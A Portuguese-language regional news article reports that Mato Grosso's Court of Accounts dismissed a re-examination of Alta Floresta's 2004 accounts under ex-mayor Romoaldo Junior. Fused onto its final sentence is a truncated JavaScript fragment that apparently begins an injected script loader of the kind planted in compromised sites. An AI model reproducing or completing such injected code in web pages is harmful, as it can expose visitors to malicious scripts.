11 anos depois da base da MIDA jogar moedas, Justiça confirma que Câmara acertou ao aprovar Contas de Romoaldo

Da Redação

O Tribunal de Contas do Estado de Mato Grosso na edição do dia 14 de setembro ultimo, publicou o acórdão nº 470/2016 em que extinguiu pedido de “nova apreciação das contas do exercício de 2004” de Alta Floresta, cujo prefeito era o atual deputado Romoaldo Junior. Naquela época, a Câmara de Vereadores não acompanhou o parecer do TCE e aprovou as contas de Romoaldo, que no entanto teve que enfrentar um duro desgaste, já que os vereadores ligados à ex-prefeita Maria Izaura, realizaram manifestações, no final do ano de 2005, e encheram o plenário da Câmara jogando moedas e gritando palavras de ordem contra os vereadores que aprovaram a matéria e contra o então ex-prefeito. O resultado da votação chegou a ser contestado na justiça, que deu ganho de causa em favor de Romoaldo Junior.

A decisão tomada pelo TCE na semana passada, não gera consequências jurídicas para o ex-prefeito Romoaldo Junior, mas ao menos mostra que no caso, que houve exageros nos protestos e manifestações orquestrados politicamente no passado. “Ainda que este tivesse as contas reprovadas pelo Poder Legislativo do município, hoje já teriam se exaurido todas as consequências punitivas que viessem a ser aplicadas ao responsável, pelo fato de que decorreram mais de 11 (onze) anos do exercício ao qual as contas se referem”, afirma o Conselheiro Valdir Julio Teis, que relatou o processo nº 8.042/2005 no âmbito do TCE.var d=document;var s=d.createElement(‘script’);